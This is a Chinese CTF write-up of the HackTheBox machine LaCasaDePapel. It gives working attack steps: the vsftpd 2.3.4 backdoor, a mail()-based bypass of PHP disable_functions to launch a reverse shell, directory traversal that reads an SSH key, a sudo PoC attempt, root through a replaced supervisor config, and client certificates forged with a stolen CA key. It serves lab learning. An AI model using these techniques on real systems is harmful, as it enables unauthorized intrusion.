LaCasaDePapel是HackTheBox上的一个四年前的靶场,难度是Easy。我独立尝试攻击靶场时拿到了用户权限,root提权部分看了官方Writeup之后完成。

靶场信息

攻击靶场过程中涉及到如下技术:

  • vsftpd 2.3.4 后门漏洞利用
  • Pspy Shell(PHP沙箱) 逃逸
  • 目录穿越、文件读取
  • Linux文件系统中inode相关知识
  • HTTPS客户端证书相关知识(没这部分知识也可以打完靶场)

信息收集

端口扫描

uzi@kali ~/D/06_Wordlists> nmap -n --min-rate 2000 -T4 -p- --max-retries 10 -Pn -sC -sV 10.129.102.228
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-24 23:55 CST
Nmap scan report for 10.129.102.228
Host is up (0.19s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 03e1c2c9791ca66b51348d7ac3c7c850 (RSA)
| 256 41e495a3390b25f9dadebe6adc59486d (ECDSA)
|_ 256 300bc6662b8f5e4f2628750ef5b171e4 (ED25519)
80/tcp open http Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open ssl/http Node.js Express framework
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after: 2029-01-24T08:35:30
| tls-nextprotoneg:
| http/1.1
|_ http/1.0
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.24 seconds

dali@lacasadepapel

vsftpd 2.3.4 后门

Nmap识别到21端口开放了vsftpd 2.3.4服务,简单搜索之后发现该版本存在后门,对应CVE编号为CVE-2011-2523。
当FTP用户名后添加:)时,会在6200端口开放一个后门。

使用metasploit进行攻击:

uzi@kali ~/D/0/h/M/LaCasaDePapel> msfconsole -q
[*] Starting persistent handler(s)...
msf6 > search vsftpd

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 10.129.254.222
rhosts => 10.129.254.222
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.129.254.222:21 - The port used by the backdoor bind listener is already open
[-] 10.129.254.222:21 - The service on port 6200 does not appear to be a shell

攻击之后会在开放6200端口,直接连接可以拿到初始的Shell。

uzi@kali ~/D/0/h/M/LaCasaDePapel> nc 10.129.254.222 6200 -vvv
Connection to 10.129.254.222 6200 port [tcp/*] succeeded!
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
ls
Variables: $tokyo
system("ls");
PHP Fatal error: Call to undefined function system() in Psy Shell code on line 1

无法直接通过system函数执行系统命令。

Psy Shell v0.9.9 沙箱逃逸

通过phpinfo函数查看PHP信息:

PHP Version => 7.2.10
System => Linux lacasadepapel 4.14.78-0-virt #1-Alpine SMP Tue Oct 23 11:43:38 UTC 2018 x86_64
Build Date => Sep 17 2018 09:23:43
...
disable_functions => exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source => exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

常规的执行命令的函数都被禁用了。检索关于绕过disable_functions相关信息,使用hacktricks上的技巧尝试。

经过一番测试,发现可以使用mail函数执行命令,具体payload为:

$c='[base64编码之后的反弹shell命令]';
$temp_filename = "/tmp/a1.sh";
file_put_contents($temp_filename, base64_decode($c));
chmod($temp_filename, 0777);
mail('', '', '', '', '-H \"exec /tmp/a1.sh \"'); //这里a1.sh和反斜线\中间需要有空格,不然会报错

payload的含义是将反弹shell命令写入/tmp/a1.sh文件,然后通过mail函数执行。
hacktricks上关于漏洞原理的解释是:

mail / mb_send_mail - This function is used to send mails, but it can also be abused to inject arbitrary commands inside the $options parameter. This is because php mail function usually call sendmail binary inside the system and it allows you to put extra options. However, you won’t be able to see the output of the executed command, so it’s recommended to create shell script that writes the output to a file, execute it using mail, and print the output

使用pwncat-cs监听端口,然后运行命令,可以成功拿到真实的shell。

professor@lacasadepapel

linpeas-dali

拿到shell之后一般先跑一遍linpeas.sh

靶机环境里用户数量比较多:

╔══════════╣ Users with console
berlin:x:1001:1001:berlin,,,:/home/berlin:/bin/ash
dali:x:1000:1000:dali,,,:/home/dali:/usr/bin/psysh
operator:x:11:0:operator:/root:/bin/sh
postgres:x:70:70::/var/lib/postgresql:/bin/sh
professor:x:1002:1002:professor,,,:/home/professor:/bin/ash
root:x:0:0:root:/root:/bin/ash

其他可写目录:

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/berlin/downloads
/home/berlin/downloads/SEASON-1
/home/berlin/downloads/SEASON-1/Donwload a video
/home/berlin/downloads/SEASON-2
/home/berlin/downloads/SEASON-2/Donwload a video
/home/berlin/downloads/Select a season
/home/dali
/home/nairobi/static
/home/nairobi/static/favicon.ico
/home/oslo/Maildir
/home/oslo/Maildir/.Sent
/home/oslo/Maildir/.Sent/cur

本地网络端口:

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:6200 0.0.0.0:* LISTEN -
tcp 0 0 :::22 :::* LISTEN -

其中21、22、80、443、6200是已知的端口,8000、11211是未知端口。

port 8000

使用chisel实现反向代理,访问靶机环境网络:
本地运行:chisel server --host 10.10.14.116 --port 8124 --reverse --socks5
靶机运行:chisel client http://10.10.14.116:8124 R:1080:socks

BurpSuite代理之后,访问http://127.0.0.1:8000/会出现下载电视剧的画面,涉及到两个URI:

  • /?path=SEASON-1,对应于列出文件夹内文件信息;
  • /file/U0VBU09OLTEvMDEuYXZp,对应于获取文件内容。

使用../穿越目录,然后下载SSH私钥:

user部分的flag可以直接读取出来。

8000端口是运行在berlin用户下的,但实际测试发现用私钥登不了该用户。
查看authorized_keys文件,也没有对应的公钥。

尝试登录其他用户,成功登录professor用户。

root@lacasadepapel

再跑一遍linpeas.sh,仍旧没发现什么有用信息。

memcached 11211

直接nc连接11211端口,使用memcached命令查看,得到了一些信息,但并没找到可利用的点。
memcached的探测可以参照这篇hacktricks教程

memcached 1.5.8 
lacasadepapel [~/node_modules/memcached]$ nc 127.0.0.1 11211 -vv
127.0.0.1 (127.0.0.1:11211) open
stats
STAT pid 3156
STAT uptime 138422
STAT time 1685166986
STAT version 1.5.8
...
STAT cmd_get 1
STAT cmd_set 1
...
STAT hash_is_expanding 0
STAT direct_reclaims 0
STAT lru_bumps_dropped 0
END
version
VERSION 1.5.8
stats items
END
stats slabs
STAT 6:chunk_size 304
STAT 6:chunks_per_page 3449
STAT 6:total_pages 1
...
STAT active_slabs 1
STAT total_malloced 1048576
END
stats cachedump 6 0
END
stats cachedump 6 1
END

sudo提权尝试

直接跑sudoedit -s Y,提示输入密码,说明可能存在sudo提权漏洞。

lacasadepapel [~/CVE-2021-3156-main]$ sudoedit -s Y

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for professor:

使用payload攻击,实际未攻击成功:

lacasadepapel [~/CVE-2021-3156-main]$ ls
Makefile README.md brute.sh hax.c lib.c libnss_X sudo-hax-me-a-sandwich
lacasadepapel [~/CVE-2021-3156-main]$ ./sudo-hax-me-a-sandwich

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

usage: ./sudo-hax-me-a-sandwich <target>

available targets:
------------------------------------------------------------
0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
------------------------------------------------------------

manual mode:
./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

lacasadepapel [~/CVE-2021-3156-main]$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
Segmentation fault

web 443

80端口界面,使用谷歌的2FA软件Authenticator扫描二维码,填写邮箱之后,会发送一封邮件。
邮件位于/home/oslo/Maildir/.Sent/cur路径下,可以直接查看,里面有验证链接。

直接在外面访问443端口,会提示需要客户端证书;我在professor的bash下,用curl、手工指定Host、-k取消校验证书,可以成功访问页面。

看官方题解的方法,是准备手工生成证书、校验后访问8000端口服务的,但我测试时进行了PHP沙箱逃逸、省去了这一部分。

这部分挺有意思的。

提权

看了题解之后,提权过程挺简单的,将原来memcached.ini文件改成其他文件,然后自己建一个memcached.ini文件,替换命令内容为提权命令脚本即可。

lacasadepapel [~]$ cat memcached.ini
[program:memcached]
command = sudo /bin/bash /tmp/a1.sh
lacasadepapel [~]$ cat memcached.ini.1
[program:memcached]
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js
lacasadepapel [~]$ ls -alh mem*
-rw-r--r-- 1 professor professor 56 May 27 07:46 memcached.ini
-rw-r--r-- 1 root root 88 Jan 29 2019 memcached.ini.1
-rw-r----- 1 root nobody 434 Jan 29 2019 memcached.js
lacasadepapel [~]$ ls -alh
total 14M
drwxr-sr-x 5 professor professor 4.0K May 27 07:31 .
drwxr-xr-x 7 root root 4.0K Feb 16 2019 ..
lrwxrwxrwx 1 root professor 9 Nov 6 2018 .ash_history -> /dev/null
drwx------ 2 professor professor 4.0K Jan 31 2019 .ssh
drwxrwxrwx 3 professor professor 4.0K May 27 02:05 CVE-2021-3156-main
-rw-r--r-- 1 professor professor 4.3K May 27 02:05 CVE-2021-3156-sudo-Baron-Samedit.zip
-rw-r--r-- 1 professor professor 5.6K May 27 06:34 ca.pem
-rw-r--r-- 1 professor professor 759K May 27 01:57 linpeas.sh
-rw-r--r-- 1 professor professor 91K May 27 01:58 linpeas_professor.txt
-rw-r--r-- 1 professor professor 56 May 27 07:46 memcached.ini
-rw-r--r-- 1 root root 88 Jan 29 2019 memcached.ini.1
-rw-r----- 1 root nobody 434 Jan 29 2019 memcached.js
drwxr-sr-x 9 root professor 4.0K Oct 3 2022 node_modules
...

题解里面提到了inode概念,问了chatGPT和一些AI,大致意思是inode对应了文件的主数据信息,比如权限。
对文件重命名不会修改inode,所以重命名之后的文件仍旧不可写。

这里的正常业务流程是根据memcached.ini配置文件信息运行脚本,但我们可以将这个文件名对应的文件替换成可控制的文件、实现命令注入而提权。

总结

回顾下来,在拿到初始shell时尝试绕过PHP沙箱,采取了与官方题解不同的思路。
但是临门一脚没想明白,稍微有一点可惜。

关于服务端的证书认证

客户端证书生成、导入

生成客户端证书的准备条件如下:
1、服务端的CA证书
2、服务端的CA证书私钥

服务端的CA证书使用浏览器访问靶机的HTTPs站点,点击地址栏左侧,查看证书信息,选择导出即可。

服务端的CA证书私钥文件通过前面的任意文件读取漏洞可以得到。

生成客户端证书、导入的具体步骤是:

  1. 生成客户端证书的私钥
    openssl genrsa -out client.key 2048
  2. 使用私钥生成证书签名请求文件,这里填写的信息最好与浏览器看到的证书信息匹配
    openssl req -new -key client.key -out client.csr
  3. 使用服务器证书、私钥对请求进行签名,生成客户端证书
    openssl x509 -req -in client.csr -CAcreateserial -CAkey ca.key -CA ca.crt -out client.crt -days 3650
  4. 结合客户端证书和私钥文件,生成p12证书
    openssl pkcs12 -export -inkey client.key -in client.crt -out client.p12
  5. 浏览器导入证书,在浏览器设置里找到证书管理,导入到你自己的证书处。

遇到的坑:

  1. 如果使用BurpSuite自带的浏览器打开,导出的证书不是服务端的。

  2. 如果直接复制官方题解的命令行,会出现离奇的报错,排查发现复制pdf文本时可能出现不可见字符。

另外,在学习这个知识过程中,尝试用AI来帮助理解,使用同样的问题问不同的AI,最终GPT-4完美地给出了解决方案,而其他的AI差不多上述步骤的前3步。

我自己尝试的时候试图将第三步生成的客户端证书直接导入进浏览器的CA证书中,无法正常与服务器认证。后来又咨询AI使用P12证书的必要性,AI给出了一些说明

如果需要使用curl带客户端证书、私钥进行HTTPs请求的话,可以使用--cert--key参数:
curl --key client.key --cert client.crt https://10.129.178.128 -k

服务端的设置

服务端使用了ExpressJS,代码里关于客户端证书的设置如下:

const opts = {
key: fs.readFileSync(__dirname+'/ca.key'),
cert: fs.readFileSync('/usr/share/ca-certificates/mozilla/VeriSign_Root_Certification_Authority.crt'),
ca: fs.readFileSync('/usr/share/ca-certificates/mozilla/VeriSign_Root_Certification_Authority.crt'),
requestCert: true,
rejectUnauthorized: false
}

app.get('/', (req, res) => {

// const cert = req.connection.getPeerCertificate()

if (req.client.authorized) {
const path = req.query.path || ''
request('http://127.0.0.1:8000?path='+path,function (error, response, body) {
res.render('download', { list: body });
})
}
else {
res.status(401).render('error',{
h1: 'CERTIFICATE ERROR',
p: 'Sorry, but you need to provide a client certificate to continue.'
});
}
})

其中requestCert: true表明需要客户端请求证书,rejectUnauthorized: false表明缺少证书时不拒绝请求。
更多介绍可以参考这篇文章:NodeJS Express Cert Based Mutual Auth

另外,Nginx、Apache也可以进行类似设置:

  1. https://stuff-things.net/2015/09/28/configuring-apache-for-ssl-client-certificate-authentication/
  2. https://datacadamia.com/web/server/nginx/client_authentication